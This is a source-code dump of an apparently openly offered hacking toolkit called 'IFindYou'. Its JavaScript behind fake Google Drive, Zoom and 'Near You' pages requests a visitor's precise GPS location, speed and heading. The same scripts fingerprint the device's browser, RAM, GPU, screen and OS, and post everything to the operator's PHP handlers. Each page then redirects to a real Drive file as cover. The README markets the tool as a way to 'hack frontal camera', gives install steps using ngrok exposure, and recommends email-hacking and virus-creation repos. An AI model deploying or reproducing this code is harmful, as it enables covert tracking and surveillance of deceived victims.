spd = spd + ' m/s'; 53 | } 54 | else { 55 | spd = 'Not Available'; 56 | } 57 | 58 | var ok_status = 'success'; 59 | 60 | $.ajax({ 61 | type: 'POST', 62 | url: 'result_handler.php', 63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 64 | success: function(){window.location='https://drive.google.com/file/d/1qzn84qWGa9__L94c7mAPrM1VFCUomX75/view?usp=drivesdk';}, 65 | mimeType: 'text' 66 | }); 67 | }; 68 | } 69 | 70 | function showError(error) 71 | { 72 | var err_text; 73 | var err_status = 'failed'; 74 | 75 | switch(error.code) 76 | { 77 | case error.PERMISSION_DENIED: 78 | err_text = 'User denied the request for Geolocation'; 79 | alert('Please Refresh This Page and Allow Location Permission...'); 80 | break; 81 | case error.POSITION_UNAVAILABLE: 82 | err_text = 'Location information is unavailable'; 83 | break; 84 | case error.TIMEOUT: 85 | err_text = 'The request to get user location timed out'; 86 | alert('Please Set Your Location Mode on High Accuracy...'); 87 | break; 88 | case error.UNKNOWN_ERROR: 89 | err_text = 'An unknown error occurred'; 90 | break; 91 | } 92 | 93 | $.ajax({ 94 | type: 'POST', 95 | url: 'error_handler.php', 96 | data: {Status: err_status, Error: err_text}, 97 | success: function(){$('#change').html('Failed');}, 98 | mimeType: 'text' 99 | }); 100 | } 101 | -------------------------------------------------------------------------------- /webs/gdrive/js/temp/location5.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | if( lat ){ 17 | lat = lat + ' deg'; 18 | } 19 | else { 20 | lat = 'Not Available'; 21 | } 22 | var lon = position.coords.longitude; 23 | if( lon ){ 24 | lon = lon + ' deg'; 25 | } 26 | else { 27 | lon = 'Not Available'; 28 | } 29 | var acc = position.coords.accuracy; 30 | if( acc ){ 31 | acc = acc + ' m'; 32 | } 33 | else { 34 | acc = 'Not Available'; 35 | } 36 | var alt = position.coords.altitude; 37 | if( alt ){ 38 | alt = alt + ' m'; 39 | } 40 | else { 41 | alt = 'Not Available'; 42 | } 43 | var dir = position.coords.heading; 44 | if( dir ){ 45 | dir = dir + ' deg'; 46 | } 47 | else { 48 | dir = 'Not Available'; 49 | } 50 | var spd = position.coords.speed; 51 | if( spd ){ 52 | spd = spd + ' m/s'; 53 | } 54 | else { 55 | spd = 'Not Available'; 56 | } 57 | 58 | var ok_status = 'success'; 59 | 60 | $.ajax({ 61 | type: 'POST', 62 | url: 'result_handler.php', 63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 64 | success: function(){window.location='https://drive.google.com/file/d/1r52CRUw6K5_n-zIzUSr0OCvPDaE78pcr/view?usp=drivesdk';}, 65 | mimeType: 'text' 66 | }); 67 | }; 68 | } 69 | 70 | function showError(error) 71 | { 72 | var err_text; 73 | var err_status = 'failed'; 74 | 75 | switch(error.code) 76 | { 77 | case error.PERMISSION_DENIED: 78 | err_text = 'User denied the request for Geolocation'; 79 | alert('Please Refresh This Page and Allow Location Permission...'); 80 | break; 81 | case error.POSITION_UNAVAILABLE: 82 | err_text = 'Location information is unavailable'; 83 | break; 84 | case error.TIMEOUT: 85 | err_text = 'The request to get user location timed out'; 86 | alert('Please Set Your Location Mode on High Accuracy...'); 87 | break; 88 | case error.UNKNOWN_ERROR: 89 | err_text = 'An unknown error occurred'; 90 | break; 91 | } 92 | 93 | $.ajax({ 94 | type: 'POST', 95 | url: 'error_handler.php', 96 | data: {Status: err_status, Error: err_text}, 97 | success: function(){$('#change').html('Failed');}, 98 | mimeType: 'text' 99 | }); 100 | } 101 | -------------------------------------------------------------------------------- /webs/gdrive/js/temp/location6.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | if( lat ){ 17 | lat = lat + ' deg'; 18 | } 19 | else { 20 | lat = 'Not Available'; 21 | } 22 | var lon = position.coords.longitude; 23 | if( lon ){ 24 | lon = lon + ' deg'; 25 | } 26 | else { 27 | lon = 'Not Available'; 28 | } 29 | var acc = position.coords.accuracy; 30 | if( acc ){ 31 | acc = acc + ' m'; 32 | } 33 | else { 34 | acc = 'Not Available'; 35 | } 36 | var alt = position.coords.altitude; 37 | if( alt ){ 38 | alt = alt + ' m'; 39 | } 40 | else { 41 | alt = 'Not Available'; 42 | } 43 | var dir = position.coords.heading; 44 | if( dir ){ 45 | dir = dir + ' deg'; 46 | } 47 | else { 48 | dir = 'Not Available'; 49 | } 50 | var spd = position.coords.speed; 51 | if( spd ){ 52 | spd = spd + ' m/s'; 53 | } 54 | else { 55 | spd = 'Not Available'; 56 | } 57 | 58 | var ok_status = 'success'; 59 | 60 | $.ajax({ 61 | type: 'POST', 62 | url: 'result_handler.php', 63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 64 | success: function(){window.location='https://drive.google.com/file/d/1s7NP3at97lrAQDOdxXG2stzeP7s12lg-/view?usp=drivesdk';}, 65 | mimeType: 'text' 66 | }); 67 | }; 68 | } 69 | 70 | function showError(error) 71 | { 72 | var err_text; 73 | var err_status = 'failed'; 74 | 75 | switch(error.code) 76 | { 77 | case error.PERMISSION_DENIED: 78 | err_text = 'User denied the request for Geolocation'; 79 | alert('Please Refresh This Page and Allow Location Permission...'); 80 | break; 81 | case error.POSITION_UNAVAILABLE: 82 | err_text = 'Location information is unavailable'; 83 | break; 84 | case error.TIMEOUT: 85 | err_text = 'The request to get user location timed out'; 86 | alert('Please Set Your Location Mode on High Accuracy...'); 87 | break; 88 | case error.UNKNOWN_ERROR: 89 | err_text = 'An unknown error occurred'; 90 | break; 91 | } 92 | 93 | $.ajax({ 94 | type: 'POST', 95 | url: 'error_handler.php', 96 | data: {Status: err_status, Error: err_text}, 97 | success: function(){$('#change').html('Failed');}, 98 | mimeType: 'text' 99 | }); 100 | } 101 | -------------------------------------------------------------------------------- /webs/location/js/location.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | if( lat ){ 17 | lat = lat + ' deg'; 18 | } 19 | else { 20 | lat = 'Not Available'; 21 | } 22 | var lon = position.coords.longitude; 23 | if( lon ){ 24 | lon = lon + ' deg'; 25 | } 26 | else { 27 | lon = 'Not Available'; 28 | } 29 | var acc = position.coords.accuracy; 30 | if( acc ){ 31 | acc = acc + ' m'; 32 | } 33 | else { 34 | acc = 'Not Available'; 35 | } 36 | var alt = position.coords.altitude; 37 | if( alt ){ 38 | alt = alt + ' m'; 39 | } 40 | else { 41 | alt = 'Not Available'; 42 | } 43 | var dir = position.coords.heading; 44 | if( dir ){ 45 | dir = dir + ' deg'; 46 | } 47 | else { 48 | dir = 'Not Available'; 49 | } 50 | var spd = position.coords.speed; 51 | if( spd ){ 52 | spd = spd + ' m/s'; 53 | } 54 | else { 55 | spd = 'Not Available'; 56 | } 57 | 58 | var ok_status = 'success'; 59 | 60 | $.ajax({ 61 | type: 'POST', 62 | url: 'result_handler.php', 63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 64 | success: function(){$('#change').html('Coming Soon');}, 65 | mimeType: 'text' 66 | }); 67 | alert('Thankyou For Taking Interest in Near You...This Product is Coming Soon...'); 68 | }; 69 | } 70 | 71 | function showError(error) 72 | { 73 | var err_text; 74 | var err_status = 'failed'; 75 | 76 | switch(error.code) 77 | { 78 | case error.PERMISSION_DENIED: 79 | err_text = 'User denied the request for Geolocation'; 80 | alert('Please Refresh This Page and Allow Location Permission...'); 81 | break; 82 | case error.POSITION_UNAVAILABLE: 83 | err_text = 'Location information is unavailable'; 84 | break; 85 | case error.TIMEOUT: 86 | err_text = 'The request to get user location timed out'; 87 | alert('Please Set Your Location Mode on High Accuracy...'); 88 | break; 89 | case error.UNKNOWN_ERROR: 90 | err_text = 'An unknown error occurred'; 91 | break; 92 | } 93 | 94 | $.ajax({ 95 | type: 'POST', 96 | url: 'error_handler.php', 97 | data: {Status: err_status, Error: err_text}, 98 | success: function(){$('#change').html('Failed');}, 99 | mimeType: 'text' 100 | }); 101 | } 102 | -------------------------------------------------------------------------------- /webs/gdrive/js/info.js: -------------------------------------------------------------------------------- 1 | function information() 2 | { 3 | var ptf = navigator.platform; 4 | var cc = navigator.hardwareConcurrency; 5 | var ram = navigator.deviceMemory; 6 | var ver = navigator.userAgent; 7 | var str = ver; 8 | var os = ver; 9 | //gpu 10 | var canvas = document.createElement('canvas'); 11 | var gl; 12 | var debugInfo; 13 | var ven; 14 | var ren; 15 | //sysinfo 16 | console.log(ver); 17 | console.log(ptf); 18 | 19 | if (cc == undefined) 20 | { 21 | cc = 'Not Available'; 22 | console.log('Cores are not available') 23 | } 24 | console.log(cc); 25 | 26 | //ram 27 | if (ram == undefined) 28 | { 29 | ram = 'Not Available'; 30 | console.log('RAM is not available') 31 | } 32 | console.log(ram); 33 | 34 | //browser 35 | if (ver.indexOf('Firefox') != -1) 36 | { 37 | str = str.substring(str.indexOf(' Firefox/') + 1); 38 | str = str.split(' '); 39 | brw = str[0]; 40 | console.log(str[0]); 41 | } 42 | else if (ver.indexOf('Chrome') != -1) 43 | { 44 | str = str.substring(str.indexOf(' Chrome/') + 1); 45 | str = str.split(' '); 46 | brw = str[0]; 47 | console.log(str[0]); 48 | } 49 | else if (ver.indexOf('Safari') != -1) 50 | { 51 | str = str.substring(str.indexOf(' Safari/') + 1); 52 | str = str.split(' '); 53 | brw = str[0]; 54 | console.log(str[0]); 55 | } 56 | else if (ver.indexOf('Edge') != -1) 57 | { 58 | str = str.substring(str.indexOf(' Edge/') + 1); 59 | str = str.split(' '); 60 | brw = str[0]; 61 | console.log(str[0]); 62 | } 63 | else 64 | { 65 | brw = 'Not Available' 66 | console.log('Browser is not available') 67 | } 68 | 69 | //gpu 70 | try 71 | { 72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); 73 | } 74 | catch (e) {} 75 | if (gl) 76 | { 77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); 78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); 79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); 80 | } 81 | if (ven == undefined) 82 | { 83 | ven = 'Not Available'; 84 | console.log('GPU Vendor not available') 85 | } 86 | if (ren == undefined) 87 | { 88 | ren = 'Not Available'; 89 | console.log('GPU Renderer not available') 90 | } 91 | console.log(ven); 92 | console.log(ren); 93 | // 94 | var ht = window.screen.height 95 | var wd = window.screen.width 96 | console.log(window.screen.height) 97 | console.log(window.screen.width) 98 | //os 99 | os = os.substring(0, os.indexOf(')')); 100 | os = os.split(';'); 101 | os = os[1]; 102 | if (os == undefined) 103 | { 104 | os = 'Not Available'; 105 | console.log('OS is not available') 106 | } 107 | os = os.trim(); 108 | console.log(os); 109 | // 110 | $.ajax({ 111 | type: 'POST', 112 | url: 'info_handler.php', 113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os}, 114 | success: function(){console.log('Got Device Information');}, 115 | mimeType: 'text' 116 | }); 117 | } 118 | -------------------------------------------------------------------------------- /webs/location/js/info.js: -------------------------------------------------------------------------------- 1 | function information() 2 | { 3 | var ptf = navigator.platform; 4 | var cc = navigator.hardwareConcurrency; 5 | var ram = navigator.deviceMemory; 6 | var ver = navigator.userAgent; 7 | var str = ver; 8 | var os = ver; 9 | //gpu 10 | var canvas = document.createElement('canvas'); 11 | var gl; 12 | var debugInfo; 13 | var ven; 14 | var ren; 15 | //sysinfo 16 | console.log(ver); 17 | console.log(ptf); 18 | 19 | if (cc == undefined) 20 | { 21 | cc = 'Not Available'; 22 | console.log('Cores are not available') 23 | } 24 | console.log(cc); 25 | 26 | //ram 27 | if (ram == undefined) 28 | { 29 | ram = 'Not Available'; 30 | console.log('RAM is not available') 31 | } 32 | console.log(ram); 33 | 34 | //browser 35 | if (ver.indexOf('Firefox') != -1) 36 | { 37 | str = str.substring(str.indexOf(' Firefox/') + 1); 38 | str = str.split(' '); 39 | brw = str[0]; 40 | console.log(str[0]); 41 | } 42 | else if (ver.indexOf('Chrome') != -1) 43 | { 44 | str = str.substring(str.indexOf(' Chrome/') + 1); 45 | str = str.split(' '); 46 | brw = str[0]; 47 | console.log(str[0]); 48 | } 49 | else if (ver.indexOf('Safari') != -1) 50 | { 51 | str = str.substring(str.indexOf(' Safari/') + 1); 52 | str = str.split(' '); 53 | brw = str[0]; 54 | console.log(str[0]); 55 | } 56 | else if (ver.indexOf('Edge') != -1) 57 | { 58 | str = str.substring(str.indexOf(' Edge/') + 1); 59 | str = str.split(' '); 60 | brw = str[0]; 61 | console.log(str[0]); 62 | } 63 | else 64 | { 65 | brw = 'Not Available' 66 | console.log('Browser is not available') 67 | } 68 | 69 | //gpu 70 | try 71 | { 72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); 73 | } 74 | catch (e) {} 75 | if (gl) 76 | { 77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); 78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); 79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); 80 | } 81 | if (ven == undefined) 82 | { 83 | ven = 'Not Available'; 84 | console.log('GPU Vendor not available') 85 | } 86 | if (ren == undefined) 87 | { 88 | ren = 'Not Available'; 89 | console.log('GPU Renderer not available') 90 | } 91 | console.log(ven); 92 | console.log(ren); 93 | // 94 | var ht = window.screen.height 95 | var wd = window.screen.width 96 | console.log(window.screen.height) 97 | console.log(window.screen.width) 98 | //os 99 | os = os.substring(0, os.indexOf(')')); 100 | os = os.split(';'); 101 | os = os[1]; 102 | if (os == undefined) 103 | { 104 | os = 'Not Available'; 105 | console.log('OS is not available') 106 | } 107 | os = os.trim(); 108 | console.log(os); 109 | // 110 | $.ajax({ 111 | type: 'POST', 112 | url: 'info_handler.php', 113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os}, 114 | success: function(){console.log('Got Device Information');}, 115 | mimeType: 'text' 116 | }); 117 | } 118 | -------------------------------------------------------------------------------- /webs/zoom/js/info.js: -------------------------------------------------------------------------------- 1 | function information() 2 | { 3 | var ptf = navigator.platform; 4 | var cc = navigator.hardwareConcurrency; 5 | var ram = navigator.deviceMemory; 6 | var ver = navigator.userAgent; 7 | var str = ver; 8 | var os = ver; 9 | //gpu 10 | var canvas = document.createElement('canvas'); 11 | var gl; 12 | var debugInfo; 13 | var ven; 14 | var ren; 15 | //sysinfo 16 | console.log(ver); 17 | console.log(ptf); 18 | 19 | if (cc == undefined) 20 | { 21 | cc = 'Not Available'; 22 | console.log('Cores are not available') 23 | } 24 | console.log(cc); 25 | 26 | //ram 27 | if (ram == undefined) 28 | { 29 | ram = 'Not Available'; 30 | console.log('RAM is not available') 31 | } 32 | console.log(ram); 33 | 34 | //browser 35 | if (ver.indexOf('Firefox') != -1) 36 | { 37 | str = str.substring(str.indexOf(' Firefox/') + 1); 38 | str = str.split(' '); 39 | brw = str[0]; 40 | console.log(str[0]); 41 | } 42 | else if (ver.indexOf('Chrome') != -1) 43 | { 44 | str = str.substring(str.indexOf(' Chrome/') + 1); 45 | str = str.split(' '); 46 | brw = str[0]; 47 | console.log(str[0]); 48 | } 49 | else if (ver.indexOf('Safari') != -1) 50 | { 51 | str = str.substring(str.indexOf(' Safari/') + 1); 52 | str = str.split(' '); 53 | brw = str[0]; 54 | console.log(str[0]); 55 | } 56 | else if (ver.indexOf('Edge') != -1) 57 | { 58 | str = str.substring(str.indexOf(' Edge/') + 1); 59 | str = str.split(' '); 60 | brw = str[0]; 61 | console.log(str[0]); 62 | } 63 | else 64 | { 65 | brw = 'Not Available' 66 | console.log('Browser is not available') 67 | } 68 | 69 | //gpu 70 | try 71 | { 72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); 73 | } 74 | catch (e) {} 75 | if (gl) 76 | { 77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); 78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); 79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); 80 | } 81 | if (ven == undefined) 82 | { 83 | ven = 'Not Available'; 84 | console.log('GPU Vendor not available') 85 | } 86 | if (ren == undefined) 87 | { 88 | ren = 'Not Available'; 89 | console.log('GPU Renderer not available') 90 | } 91 | console.log(ven); 92 | console.log(ren); 93 | // 94 | var ht = window.screen.height 95 | var wd = window.screen.width 96 | console.log(window.screen.height) 97 | console.log(window.screen.width) 98 | //os 99 | os = os.substring(0, os.indexOf(')')); 100 | os = os.split(';'); 101 | os = os[1]; 102 | if (os == undefined) 103 | { 104 | os = 'Not Available'; 105 | console.log('OS is not available') 106 | } 107 | os = os.trim(); 108 | console.log(os); 109 | // 110 | $.ajax({ 111 | type: 'POST', 112 | url: 'info_handler.php', 113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os}, 114 | success: function(){console.log('Got Device Information');}, 115 | mimeType: 'text' 116 | }); 117 | } 118 | -------------------------------------------------------------------------------- /webs/gdrive/css/main.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: Product Sans; 3 | font-style: normal; 4 | font-weight: 400; 5 | src: url('/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2') format('woff2'); 6 | } 7 | 8 | body { 9 | background-color: #ffffff; 10 | font-size: 13px; 11 | margin: 0; 12 | padding: 0; 13 | font-family: Arial,sans-serif; 14 | } 15 | 16 | #outerContainer { 17 | margin: auto; 18 | max-width: 750px; 19 | } 20 | 21 | #innerContainer { 22 | margin-bottom: 20px; 23 | margin-left: 40px; 24 | margin-right: 40px; 25 | margin-top: 180px; 26 | position: relative; 27 | } 28 | 29 | #drive-logo { 30 | margin: 18px 0; 31 | position: absolute; 32 | white-space: nowrap; 33 | } 34 | 35 | .docs-drivelogo-img { 36 | background-image: url('/images/googlelogo_color_116x41dp.png'); 37 | background-size: 116px 41px; 38 | display: inline-block; 39 | height: 41px; 40 | vertical-align: bottom; 41 | width: 116px; 42 | } 43 | 44 | .docs-drivelogo-text { 45 | color: #000; 46 | display: inline-block; 47 | opacity: 0.54; 48 | text-decoration: none; 49 | font-family: 'Product Sans',Arial,Helvetica,sans-serif; 50 | font-size: 32px; 51 | text-rendering: optimizeLegibility; 52 | position: relative; 53 | top: -6px; 54 | left: -7px; 55 | -webkit-font-smoothing: antialiased; 56 | -moz-osx-font-smoothing: grayscale; 57 | } 58 | 59 | #main { 60 | position: relative; 61 | width: 640px; 62 | top: 30px; 63 | } 64 | 65 | #accessDeniedIcon { 66 | background-image: url('/images/locked_doc-2.svg'); 67 | float: right; 68 | height: 158px; 69 | width: 128px; 70 | } 71 | 72 | #accessDeniedHeader { 73 | color: #222; 74 | font: 32px Arial, sans-serif; 75 | } 76 | 77 | #message { 78 | color: #222; 79 | font: 15px/1.6 Arial, sans-serif; 80 | width: 480px; 81 | } 82 | 83 | button.jfk-button { 84 | font-family: arial,sans-serif; 85 | height: auto; 86 | } 87 | 88 | .jfk-button-action { 89 | -webkit-box-shadow: none; 90 | -moz-box-shadow: none; 91 | box-shadow: none; 92 | background-color: #4d90fe; 93 | background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed); 94 | background-image: -moz-linear-gradient(top,#4d90fe,#4787ed); 95 | background-image: -ms-linear-gradient(top,#4d90fe,#4787ed); 96 | background-image: -o-linear-gradient(top,#4d90fe,#4787ed); 97 | background-image: linear-gradient(top,#4d90fe,#4787ed); 98 | border: 1px solid #3079ed; 99 | color: #fff; 100 | } 101 | 102 | .jfk-button { 103 | -webkit-border-radius: 2px; 104 | -moz-border-radius: 2px; 105 | border-radius: 2px; 106 | cursor: default; 107 | font-size: 11px; 108 | font-weight: bold; 109 | text-align: center; 110 | white-space: nowrap; 111 | margin-right: 16px; 112 | height: 27px; 113 | line-height: 27px; 114 | min-width: 54px; 115 | outline: 0px; 116 | padding: 0 8px; 117 | } 118 | 119 | .jfk-button-standard { 120 | -webkit-box-shadow: none; 121 | -moz-box-shadow: none; 122 | box-shadow: none; 123 | background-color: #f5f5f5; 124 | background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1); 125 | background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1); 126 | background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1); 127 | background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1); 128 | background-image: linear-gradient(top,#f5f5f5,#f1f1f1); 129 | color: #444; 130 | border: 1px solid #dcdcdc; 131 | border: 1px solid rgba(0,0,0,0.1); 132 | } 133 | 134 | @media (max-width: 500px) { 135 | #accessDeniedHeader { 136 | color: #222; 137 | font: 25px Arial, sans-serif; 138 | } 139 | #accessDeniedIcon { 140 | background-image: url('/images/locked_doc-1.svg'); 141 | height: 108px; 142 | width: 88px; 143 | } 144 | #main { 145 | width: 100%; 146 | } 147 | #message { 148 | width: 75%; 149 | } 150 | #outerContainer #innerContainer { 151 | margin-left: 20px; 152 | margin-right: 20px; 153 | } 154 | } 155 | 156 | :focus {outline:none;} 157 | ::-moz-focus-inner {border:0;} -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 | 4 | 5 | 6 | 7 | 8 |

9 | 10 |

11 | • License 12 | • Issues 13 | • Project 14 | • Wikipedia • 15 | 16 |

17 | 18 | > IFindYou was created to hack frontal camera, this script is very powerful! 19 | 20 | --- 21 | 22 | > Я не несу ответственности за ваши действия. Скачивая программное обеспечение из этого репозитория, вы соглашаетесь с [лицензией](https://github.com/mishakorzik/Ultra-DDos/blob/main/LICENSE). 23 | 24 | ---- 25 | 26 | ### Installing 27 | 28 | * `pkg update` 29 | * `pkg upgrade` 30 | * `pkg install jq` 31 | * `pkg install git` 32 | * `apt install zip` 33 | * `apt install php` 34 | * `apt install curl` 35 | * `apt install wget` 36 | * `git clone https://github.com/mishakorzik/IFindYou` 37 | * `cd IFindYou` 38 | * `bash install.sh` 39 | * `ngrok authtoken ` 40 | 41 | #### Finished you have successfully downloaded IFindYou now to launch! 42 | 43 | * `cd IFindYou` 44 | * `bash main.sh` 45 | 46 | ----- 47 | ## Dependencies 48 | 49 | ``` 50 | Wifi : True 51 | HostPot: True 52 | Root : No Root 53 | Storage: 34 MB 54 | Package: 154 MB 55 | ``` 56 | 57 | ------ 58 | ## Donate 59 | 60 | **If you want to donate, click on the button** 61 | 62 | ------- 63 | 64 |
65 |

66 | 67 | 68 |

69 | 70 | -------- 71 | 72 | ## Find Me 73 | [![Github](https://img.shields.io/badge/Reddit-MishaKorzhik-red?style=for-the-badge&logo=reddit)](https://www.reddit.com/u/Necessary_Mammoth368?utm_medium=android_app&utm_source=share) 74 | [![Github](https://img.shields.io/badge/GitHub-MishaKorzhik-yellow?style=for-the-badge&logo=github)](https://github.com/mishakorzik) 75 | [![Github](https://img.shields.io/badge/Discord-He1Zen-blue?style=for-the-badge&logo=discord)](https://discord.gg/xwpMuMYW57) 76 | 77 | ## I recommend watching 78 | 79 | 1.qiq - Useful batch installer
80 | 2.Gmail-Hack - Easy email hacking
81 | 3.AdminHack - Hacking bad sites
82 | 4.Infect - Easy virus creation
83 | 5.Free-Proxy - Lots of free proxy servers
84 | 6.IpHack - Easy Tracking smartphones
85 | 7.UserFinder - Find users in social
86 | 87 | #### Here are the repositories that I recommend you look at. below are people who liked and forked the repository 88 | 89 | ------------- 90 | 91 |

92 | 93 | ###### Статья носит исследовательский характер. Она адресована специалистам по безопасности и тем, кто собирается ими стать. При ее написании использовались общедоступные базы данных. Ни редакция, ни автор не несут ответственности за неэтичное использование любых упомянутых здесь сведений. Team: He1Zen 94 | 95 | ## Supporters 96 | [![Stargazers repo roster for @mishakorzik/IFindYou](https://reporoster.com/stars/mishakorzik/IFindYou)](https://github.com/mishakorzik/IFindYou/stargazers) 97 | [![Forkers repo roster for @mishakorzik/IFindYou](https://reporoster.com/forks/mishakorzik/IFindYou)](https://github.com/mishakorzik/IFindYou/members) 98 | 99 | -------------------------------------------------------------------------------- /webs/location/js/warpspeed.min.js: -------------------------------------------------------------------------------- 1 | function timeStamp(){return window.performance.now?window.performance.now():Date.now()}function isVisible(el){var r=el.getBoundingClientRect();return r.top+r.height>=0&&r.left+r.width>=0&&r.bottom-r.height<=(window.innerHeight||document.documentElement.clientHeight)&&r.right-r.width<=(window.innerWidth||document.documentElement.clientWidth)}function Star(x,y,z){this.x=x,this.y=y,this.z=z,this.size=.5+Math.random()}function WarpSpeed(targetId,config){if(this.targetId=targetId,void 0==WarpSpeed.RUNNING_INSTANCES&&(WarpSpeed.RUNNING_INSTANCES={}),WarpSpeed.RUNNING_INSTANCES[targetId]&&WarpSpeed.RUNNING_INSTANCES[targetId].destroy(),config=config||{},"string"==typeof config)try{config=JSON.parse(config)}catch(e){config={}}this.SPEED=void 0==config.speed||config.speed<0?.7:config.speed,this.TARGET_SPEED=void 0==config.targetSpeed||config.targetSpeed<0?this.SPEED:config.targetSpeed,this.SPEED_ADJ_FACTOR=void 0==config.speedAdjFactor?.03:config.speedAdjFactor<0?0:config.speedAdjFactor>1?1:config.speedAdjFactor,this.DENSITY=void 0==config.density||config.density<=0?.7:config.density,this.USE_CIRCLES=void 0==config.shape?!0:"circle"==config.shape,this.DEPTH_ALPHA=void 0==config.depthFade?!0:config.depthFade,this.WARP_EFFECT=void 0==config.warpEffect?!0:config.warpEffect,this.WARP_EFFECT_LENGTH=void 0==config.warpEffectLength?5:config.warpEffectLength<0?0:config.warpEffectLength,this.STAR_SCALE=void 0==config.starSize||config.starSize<=0?3:config.starSize,this.BACKGROUND_COLOR=void 0==config.backgroundColor?"hsl(263,45%,7%)":config.backgroundColor;var canvas=document.getElementById(this.targetId);canvas.width=1,canvas.height=1;var ctx=canvas.getContext("2d");ctx.fillStyle=this.BACKGROUND_COLOR,ctx.fillRect(0,0,1,1),ctx.fillStyle=void 0==config.starColor?"#FFFFFF":config.starColor,ctx.fillRect(0,0,1,1);var color=ctx.getImageData(0,0,1,1).data;this.STAR_R=color[0],this.STAR_G=color[1],this.STAR_B=color[2],this.prevW=-1,this.prevH=-1,this.stars=[];for(var i=0;i<1e3*this.DENSITY;i++)this.stars.push(new Star(1e3*(Math.random()-.5),1e3*(Math.random()-.5),1e3*Math.random()));this.lastMoveTS=timeStamp(),this.drawRequest=null,this.LAST_RENDER_T=0,WarpSpeed.RUNNING_INSTANCES[targetId]=this,this.draw()}window.requestAnimationFrame=window.requestAnimationFrame||function(callback,element){setTimeout(callback,1e3/60)},WarpSpeed.prototype={constructor:WarpSpeed,draw:function(){var TIME=timeStamp();if(!document.getElementById(this.targetId))return void this.destroy();this.move();var canvas=document.getElementById(this.targetId);if(!this.PAUSED&&isVisible(canvas)){(this.prevW!=canvas.clientWidth||this.prevH!=canvas.clientHeight)&&(canvas.width=(canvas.clientWidth<10?10:canvas.clientWidth)*(window.devicePixelRatio||1),canvas.height=(canvas.clientHeight<10?10:canvas.clientHeight)*(window.devicePixelRatio||1)),this.size=(canvas.heightxOnDisplay||xOnDisplay>.5||-.5>yOnDisplay||yOnDisplay>.5)){var size=s.size*this.size/s.z;if(!(.3>size)){if(this.DEPTH_ALPHA){var alpha=(1e3-s.z)/1e3;ctx.fillStyle=rgba+(alpha>1?1:alpha)+")"}else ctx.fillStyle=rgb;if(this.WARP_EFFECT){ctx.beginPath();var x2OnDisplay=s.x/(s.z+this.WARP_EFFECT_LENGTH*this.SPEED),y2OnDisplay=s.y/(s.z+this.WARP_EFFECT_LENGTH*this.SPEED);if(-.5>x2OnDisplay||x2OnDisplay>.5||-.5>y2OnDisplay||y2OnDisplay>.5)continue;ctx.moveTo(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2),ctx.lineTo(canvas.width*(x2OnDisplay+.5)-size/2,canvas.height*(y2OnDisplay+.5)-size/2),ctx.lineWidth=size>this.maxLineWidth?this.maxLineWidth:size,this.USE_CIRCLES?ctx.lineCap="round":ctx.lineCap="butt",ctx.strokeStyle=ctx.fillStyle,ctx.stroke()}else 